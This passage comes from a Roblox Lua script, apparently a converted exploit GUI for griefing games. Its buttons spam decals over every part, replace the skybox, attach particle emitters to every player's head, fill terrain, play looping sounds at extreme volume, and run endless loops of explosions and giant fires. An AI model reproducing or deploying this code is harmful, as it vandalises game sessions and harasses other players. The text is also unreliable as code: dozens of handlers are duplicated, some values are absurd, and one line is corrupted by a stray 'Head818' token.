Sky.SkyboxDn=imageTwo Sky.SkyboxFt=imageTwo Sky.SkyboxLf=imageTwo Sky.SkyboxRt=imageTwo Sky.SkyboxUp=imageTwo wait(0.15)Sky.SkyboxBk=imageThree Sky.SkyboxDn=imageThree Sky.SkyboxFt=imageThree Sky.SkyboxLf=imageThree Sky.SkyboxRt=imageThree Sky.SkyboxUp=imageThree wait(0.15)Sky.SkyboxBk=imageFour Sky.SkyboxDn=imageFour Sky.SkyboxFt=imageFour Sky.SkyboxLf=imageFour Sky.SkyboxRt=imageFour Sky.SkyboxUp=imageFour wait(0.15)Sky.SkyboxBk=imageFive Sky.SkyboxDn=imageFive Sky.SkyboxFt=imageFive Sky.SkyboxLf=imageFive Sky.SkyboxRt=imageFive Sky.SkyboxUp=imageFive wait(0.15)Sky.SkyboxBk=imageSix Sky.SkyboxDn=imageSix Sky.SkyboxFt=imageSix Sky.SkyboxLf=imageSix Sky.SkyboxRt=imageSix Sky.SkyboxUp=imageSix wait(0.15)Sky.SkyboxBk=imageSeven Sky.SkyboxDn=imageSeven Sky.SkyboxFt=imageSeven Sky.SkyboxLf=imageSeven Sky.SkyboxRt=imageSeven Sky.SkyboxUp=imageSeven wait(0.15)Sky.SkyboxBk=imageEight Sky.SkyboxDn=imageEight Sky.SkyboxFt=imageEight Sky.SkyboxLf=imageEight Sky.SkyboxRt=imageEight Sky.SkyboxUp=imageEight wait(0.15)end end) end; task.spawn(C_8); -- StarterGui.ScreenGui.Frame.LocalScript local function C_9() local script = G2L["9"]; -- Made by Real_IceyDev (@lceyDex) -- -- Simple UI dragger (PC Only/Any device that has a mouse) -- local UIS = game:GetService('UserInputService') local frame = script.Parent local dragToggle = nil local dragSpeed = 0.25 local dragStart = nil local startPos = nil local function updateInput(input) local delta = input.Position - dragStart local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play() end frame.InputBegan:Connect(function(input) if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then dragToggle = true dragStart = input.Position startPos = frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragToggle = false end end) end end) UIS.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then if dragToggle then updateInput(input) end end end) end; task.spawn(C_9); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_b() local script = G2L["b"]; function click() function exPro(root) for _, v in pairs(root:GetChildren()) do if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=111604272791927" then v.Parent = nil elseif v:IsA("BasePart") then v.Material = "Plastic" v.Transparency = 0 local One = Instance.new("Decal", v) local Two = Instance.new("Decal", v) local Three = Instance.new("Decal", v) local Four = Instance.new("Decal", v) local Five = Instance.new("Decal", v) local Six = Instance.new("Decal", v) One.Texture = "http://www.roblox.com/asset/?id=111604272791927" Two.Texture = "http://www.roblox.com/asset/?id=111604272791927" Three.Texture = "http://www.roblox.com/asset/?id=111604272791927" Four.Texture = "http://www.roblox.com/asset/?id=111604272791927" Five.Texture = "http://www.roblox.com/asset/?id=111604272791927" Six.Texture = "http://www.roblox.com/asset/?id=111604272791927" One.Face = "Front" Two.Face = "Back" Three.Face = "Right" Four.Face = "Left" Five.Face = "Top" Six.Face = "Bottom" end exPro(v) end end function asdf(root) for _, v in pairs(root:GetChildren()) do asdf(v) end end exPro(workspace) asdf(workspace) end script.Parent.MouseButton1Down:connect(click) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head818 emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) function click() s = Instance.new("Sky") s.Name = "Sky" s.Parent = game:GetService("Lighting") s.SkyboxBk = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxDn = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxFt = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxLf = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxRt = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxUp = "http://www.roblox.com/asset/?id=111604272791927" game:GetService("Lighting").TimeOfDay = 12 end script.Parent.MouseButton1Down:connect(click) ---MADE BY 777ILILO PLZ DO NOT SKID IT IM SCRIPTING THIS RN ON 2 AM :SOB: end; task.spawn(C_b); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_d() local script = G2L["d"]; function click() Game.Workspace.Terrain:SetCells(Region3int16.new(Vector3int16.new(-100,-100,-100), Vector3int16.new(100,100,100)), 17, "Solid", "X") end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_d); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_f() local script = G2L["f"]; script.Parent.MouseButton1Click:Connect(function() for i,v in next,workspace:children''do if(v:IsA'BasePart')then me=v; bbg=Instance.new('BillboardGui',me); bbg.Name='stuf'; bbg.Adornee=me; bbg.Size=UDim2.new(2.5,0,2.5,0) --bbg.StudsOffset=Vector3.new(0,2,0) tlb=Instance.new'TextLabel'; tlb.Text=''; tlb.Font='SourceSansBold'; tlb.FontSize='Size48'; tlb.TextColor3=Color3.new(1, 0.933333, 0); tlb.Size=UDim2.new(1.25,0,1.25,0); tlb.Position=UDim2.new(-0.125,-22,-1.1,0); tlb.BackgroundTransparency=1; tlb.Parent=bbg; end;end; function xds(dd) for i,v in next,dd:children''do if(v:IsA'BasePart')then v.BrickColor=BrickColor.new'Really black'; v.TopSurface='Smooth'; v.BottomSurface='Smooth'; s=Instance.new('SelectionBox',v); s.Adornee=v; s.Color=BrickColor.new'Fire Yellow'; a=Instance.new('PointLight',v); a.Color=Color3.new(1, 0.968627, 0); a.Range=15; a.Brightness=5; end; local dec = 'http://www.roblox.com/asset/?id=19399245'; local fac = {'Front', 'Back', 'Left', 'Right', 'Top', 'Bottom'} --coroutine.wrap(function() --for ,_ in pairs(fac) do --local ddec = Instance.new("Decal", v) --ddec.Face = --ddec.Texture = dec --end end)() if #(v:GetChildren())>0 then xds(v) end end end xds(game.Workspace) end) end; task.spawn(C_f); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_11() local script = G2L["11"]; function onClick() local uhmye = Instance.new("Sound") uhmye.Parent = game:GetService("Workspace") uhmye.SoundId = "rbxassetid://8260658079" uhmye.Playing = true uhmye.Looped = true uhmye.Volume = 99999999999999999 end script.Parent.MouseButton1Down:connect(onClick) end; task.spawn(C_11); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_13() local script = G2L["13"]; function onClick() local tubers93 = Instance.new("Sound") tubers93.Parent = game:GetService("Workspace") tubers93.SoundId = "rbxassetid://6129291390" tubers93.Playing = true tubers93.Looped = false tubers93.Volume = 99999999999999999 end script.Parent.MouseButton1Down:connect(onClick) end; task.spawn(C_13); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_15() local script = G2L["15"]; script.Parent.MouseButton1Down:Connect(function() while true do explosion = Instance.new("Explosion") explosion.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) explosion.Parent = game.Workspace wait() end end) end; task.spawn(C_15); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_17() local script = G2L["17"]; script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = 